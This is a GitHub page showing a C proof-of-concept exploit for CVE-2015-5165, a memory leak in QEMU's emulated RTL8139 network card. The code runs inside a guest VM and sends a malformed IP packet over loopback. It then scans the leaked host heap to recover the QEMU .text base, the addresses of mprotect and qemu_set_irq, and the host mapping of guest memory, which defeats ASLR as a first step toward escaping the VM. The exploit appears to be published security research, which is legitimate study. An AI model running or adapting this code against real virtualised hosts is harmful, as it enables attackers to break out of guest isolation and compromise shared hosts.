-
Notifications
You must be signed in to change notification settings - Fork 12
/
cve-2015-5165.c
532 lines (454 loc) · 14 KB
/
cve-2015-5165.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
/*
Copyright (c) 2016, Mehdi Talbi, Paul Fariello
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
#include <sys/io.h>
#include <sys/mman.h>
#include <arpa/inet.h>
#include <assert.h>
#include <err.h>
#include <fcntl.h>
#include <inttypes.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "qemu.h"
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define PHY_RAM 0x80000000
#define page_aligned __attribute__((aligned(PAGE_SIZE)))
#define offsetof(st, m) __builtin_offsetof(st, m)
#define LEAK_MAX 0x2000
#define CHUNK_SIZE_MASK ~7ull
#define NMEMB(a) sizeof(a)/sizeof(a[0])
typedef uint64_t hptr_t;
#define HNULL ((hptr_t)0x0)
#define PRIxHPTR PRIx64
typedef uint64_t hsize_t;
#define RTL8139_BUFFER_SIZE 1514
#define PCNET_PORT 0xc100
#define RTL8139_PORT 0xc000
#define CP_RX_OWN (1<<31)
#define CP_RX_EOR (1<<30)
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)
#define CP_TX_OWN (1<<31)
#define CP_TX_EOR (1<<30)
#define CP_TX_FS (1<<29)
#define CP_TX_LS (1<<28)
#define CP_TX_LGSEN (1<<27)
#define CP_TX_IPCS (1<<18)
#define CP_TX_UDPCS (1<<17)
#define CP_TX_TCPCS (1<<16)
#define CP_TX_BUFFER_SIZE (1<<16)
#define CP_TX_BUFFER_SIZE_MASK (CP_TX_BUFFER_SIZE - 1)
enum RTL8139_registers {
TxAddr0 = 0x20, /* Tx descriptors (also four 32bit). */
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, /* tell chip to check Tx descriptors for work */
CpCmd = 0xE0, /* C+ Command register (C+ mode only) */
RxRingAddrLO = 0xE4, /* 64-bit start addr of Rx ring */
RxRingAddrHI = 0xE8, /* 64-bit start addr of Rx ring */
};
enum RTL8139_TxPollBits {
CPlus = 0x40,
};
enum RT8139_ChipCmdBits {
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};
enum RTL_8139_CplusCmdBits {
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};
enum RTL_8139_tx_config_bits {
TxLoopBack = (1 << 18) | (1 << 17), /* enable loopback test mode */
/*...*/
};
enum RTL_8139_rx_mode_bits {
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
Wrap = 0x80,
MxDMA256 = 0x400,
RbLen64 = 0x1800,
RxFTh512 = 0xa000,
};
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};
struct rtl8139_ring {
struct rtl8139_desc *desc;
void *buffer;
};
/* malformed ip packet with corrupted header size */
static uint8_t rtl8139_packet [] = {
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, 0x52, 0x54, 0x00, 0x12, 0x34,
0x56, 0x08, 0x00, 0x45, 0x00, 0x00, 0x13, 0xde, 0xad, 0x40, 0x00,
0x40, 0x06, 0xde, 0xad, 0xc0, 0x08, 0x01, 0x01, 0xc0, 0xa8, 0x01,
0x02, 0xde, 0xad, 0xbe, 0xef, 0xca, 0xfe, 0xba, 0xbe, 0xca, 0xfe,
0xba, 0xbe, 0x50, 0x10, 0xde, 0xad, 0xde, 0xad, 0x00, 0x00
};
static int fd = -1;
struct IRQState {
uint8_t _nothing[44];
hptr_t handler;
hptr_t arg_1;
int32_t arg_2;
};
struct qemu_object
{
hptr_t name;
hptr_t type;
hptr_t description;
hptr_t get;
hptr_t set;
hptr_t resolve;
hptr_t release;
};
hptr_t qemu_object_property_get[] = {
property_get_alias_ADDR,
property_get_enum_ADDR,
property_get_tm_ADDR,
property_get_uint32_ptr_ADDR,
property_get_uint8_ptr_ADDR,
property_get_bool_ADDR,
property_get_str_ADDR,
property_get_uint8_ptr_ADDR,
property_get_uint16_ptr_ADDR,
property_get_uint32_ptr_ADDR,
property_get_uint64_ptr_ADDR,
object_get_link_property_ADDR,
object_get_child_property_ADDR,
memory_region_get_size_ADDR,
memory_region_get_addr_ADDR,
memory_region_get_container_ADDR,
memory_region_get_priority_ADDR,
};
hptr_t qemu_object_property_set[] = {
property_set_str_ADDR,
property_set_bool_ADDR,
property_set_enum_ADDR,
property_set_alias_ADDR,
object_set_link_property_ADDR,
};
hptr_t qemu_object_property_resolve[] = {
memory_region_resolve_container_ADDR,
object_resolve_child_property_ADDR,
object_resolve_link_property_ADDR,
object_resolve_child_property_ADDR,
property_resolve_alias_ADDR,
};
hptr_t qemu_object_property_release[] = {
property_release_alias_ADDR,
property_release_bootindex_ADDR,
property_release_str_ADDR,
property_release_bool_ADDR,
property_release_enum_ADDR,
property_release_tm_ADDR,
object_release_link_property_ADDR,
object_finalize_child_property_ADDR,
};
hptr_t phy_mem = 0;
/*
* taken from virtunoid.c
* adress translation utilities
*/
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
hptr_t gva_to_hva(void *addr)
{
return gva_to_gpa(addr) + phy_mem;
}
int cmp_page_offset(const void *a, const void *b)
{
return page_offset(*(hptr_t *)a) - page_offset(*(hptr_t *)b);
}
/* dump packet content in xxd style */
void xxd(void *ptr, size_t size)
{
size_t i;
for (i = 0; i < size; i++) {
if (i % 16 == 0) printf("\n0x%016x: ", ptr+i);
printf("%02x", *(uint8_t *)(ptr+i));
if (i % 16 != 0 && i % 2 == 1) printf(" ");
}
printf("\n");
}
/* read the leaked memory and look
* for free'd ObjectProperty structs
*/
size_t qemu_get_leaked_chunk(struct rtl8139_ring *ring, size_t nb_packet,
size_t size, void **leak, size_t leak_max)
{
uint64_t *stop, *ptr;
size_t nb_leak = 0;
size_t i;
for (i = 0; i < nb_packet; i++) {
/* TODO skip IP headers */
ptr = (uint64_t *)(ring[i].buffer + 4);
stop = ptr + RTL8139_BUFFER_SIZE/sizeof(uint8_t);
while (ptr < stop) {
/* Look for a chunk of 0x60 bytes */
hsize_t chunk_size = *ptr & CHUNK_SIZE_MASK;
if (chunk_size == size) {
leak[nb_leak++] = ptr + 1;
}
*ptr++;
if (nb_leak > leak_max) {
warnx("[!] too much interesting chunks");
return nb_leak;
}
}
}
return nb_leak;
}
int qemu_get_leaked_object_property(void **leak, size_t nb_leak,
struct qemu_object **found,
struct qemu_object *ref)
{
hptr_t *get, *set, *resolve, *release;
int best = 0;
size_t i, j;
#define ATT_SEARCH(att) {\
att = bsearch(&object->att, qemu_object_property_##att,\
NMEMB(qemu_object_property_##att),\
sizeof(qemu_object_property_##att[0]),\
cmp_page_offset);\
if (att != NULL) {\
matches[match].ref = *att;\
matches[match].found = object->att;\
match++;\
}\
}
for (i = 0; i < nb_leak; i++) {
int match = 0, diff_match = 0;
struct {
hptr_t found;
hptr_t ref;
} matches[4];
struct qemu_object *object = (struct qemu_object *)leak[i];
hptr_t offset;
ATT_SEARCH(get);
ATT_SEARCH(set);
ATT_SEARCH(resolve);
ATT_SEARCH(release);
for (j = 1; j < match; j++) {
diff_match += matches[j].found - matches[j-1].found
== matches[j].ref - matches[j-1].ref;
}
match += diff_match;
if (match > best) {
if (get != NULL) ref->get = get ? *get : HNULL;
if (set != NULL) ref->set = set ? *set : HNULL;
if (resolve != NULL) ref->resolve = resolve ? *resolve : HNULL;
if (release != NULL) ref->release = release ? *release : HNULL;
*found = object;
best = match;
}
}
return best;
}
hptr_t qemu_get_phymem_address(struct rtl8139_ring *ring, size_t nb_packet)
{
hptr_t *stop, *ptr;
size_t i;
for (i = 0; i < nb_packet; i++) {
/* TODO skip IP headers */
ptr = (hptr_t *)(ring[i].buffer + 4);
stop = ptr + RTL8139_BUFFER_SIZE/sizeof(uint8_t);
while (ptr < stop) {
if ((*ptr & 0xffffff) == 0x78) {
return *ptr - 0x78;
}
*ptr++;
}
}
return 0;
}
/* RTL8139 primitives */
void rtl8139_card_config()
{
outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);
}
void rtl8139_desc_config_tx(struct rtl8139_desc *desc, void *buffer)
{
uint32_t addr;
memset(desc, 0, sizeof(struct rtl8139_desc));
desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |
CP_TX_IPCS | CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
addr = (uint32_t)gva_to_gpa(buffer);
desc->buf_lo = addr;
addr = (uint32_t)gva_to_gpa(desc);
outl(addr, RTL8139_PORT + TxAddr0);
outl(0x0, RTL8139_PORT + TxAddr0 + 0x4);
}
void rtl8139_desc_config_rx(struct rtl8139_ring *ring,
struct rtl8139_desc *desc, int nb)
{
uint32_t addr;
size_t i;
for (i = 0; i < nb; i++) {
ring[i].desc = &desc[i];
memset(ring[i].desc, 0, sizeof(struct rtl8139_desc));
ring[i].buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
memset(ring[i].buffer, 0, RTL8139_BUFFER_SIZE);
addr = (uint32_t)gva_to_gpa(ring[i].buffer);
ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb - 1)
ring[i].desc->dw0 |= CP_RX_EOR;
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= USHRT_MAX;
ring[i].desc->buf_lo = addr;
}
addr = (uint32_t)gva_to_gpa(desc);
outl(addr, RTL8139_PORT + RxRingAddrLO);
outl(0x0, RTL8139_PORT + RxRingAddrHI);
}
void rtl8139_packet_send(void *buffer, void *packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE) {
memcpy(buffer, packet, len);
outb(CPlus, RTL8139_PORT + TxPoll);
}
}
int main()
{
struct rtl8139_ring *rtl8139_rx_ring;
struct rtl8139_desc *rtl8139_rx_desc, rtl8139_tx_desc;
void *rtl8139_tx_buffer;
static const int rtl8139_rx_nb = 44;
void *addr;
hptr_t text, mprotect_addr, qemu_set_irq_addr;
void *leak[LEAK_MAX];
size_t nb_leak = 0;
struct qemu_object *leak_object, object_ref;
int score;
#define ATT_SORT(att) {\
qsort(qemu_object_property_##att, NMEMB(qemu_object_property_##att),\
sizeof(qemu_object_property_##att[0]), cmp_page_offset);\
}
ATT_SORT(get);
ATT_SORT(set);
ATT_SORT(resolve);
ATT_SORT(release);
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
rtl8139_rx_ring = calloc(rtl8139_rx_nb, sizeof(struct rtl8139_ring));
rtl8139_rx_desc = aligned_alloc(PAGE_SIZE, sizeof(struct rtl8139_desc) * rtl8139_rx_nb);
rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
iopl(3);
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc,
rtl8139_rx_nb);
rtl8139_desc_config_tx(&rtl8139_tx_desc, rtl8139_tx_buffer);
rtl8139_card_config();
rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet,
sizeof(rtl8139_packet));
sleep(2);
/* dump packet content in xxd style */
size_t i;
for (i = 0; i < rtl8139_rx_nb; i++)
xxd(rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
/* look for leaked chunks of 0x60 bytes
* They could correspond to qemu
* ObjectProperty structs
*/
nb_leak = qemu_get_leaked_chunk(rtl8139_rx_ring, rtl8139_rx_nb, 0x60,
leak, LEAK_MAX);
if (!nb_leak) {
errx(-1, "[!] failed to find usable chunks");
}
warnx("[+] found %d potential ObjectProperty structs in memory", nb_leak);
score = qemu_get_leaked_object_property(leak, nb_leak,
&leak_object,
&object_ref);
if (!score) {
errx(-1, "[!] failed to find valid object property");
}
if (object_ref.get != HNULL)
text = leak_object->get - (object_ref.get - TEXT_ADDR);
else if (object_ref.set != HNULL)
text = leak_object->set - (object_ref.set - TEXT_ADDR);
else if (object_ref.resolve != HNULL)
text = leak_object->resolve - (object_ref.resolve - TEXT_ADDR);
else if (object_ref.release != HNULL)
text = leak_object->release - (object_ref.release - TEXT_ADDR);
warnx("[+] .text mapped at 0x%"PRIxHPTR, text);
mprotect_addr = text + (mprotect_ADDR - TEXT_ADDR);
warnx("[+] mprotect mapped at 0x%"PRIxHPTR, mprotect_addr);
qemu_set_irq_addr = text + (qemu_set_irq_ADDR - TEXT_ADDR);
warnx("[+] qemu_set_irq mapped at 0x%"PRIxHPTR, qemu_set_irq_addr);
phy_mem = qemu_get_phymem_address(rtl8139_rx_ring, rtl8139_rx_nb);
if (!phy_mem) {
errx(-1, "[!] giving up. failed to get VM physical address");
}
phy_mem = ((phy_mem >> 24) << 24) - PHY_RAM;
warnx("[+] VM physical memory mapped at 0x%"PRIxHPTR, phy_mem);
return 0;
}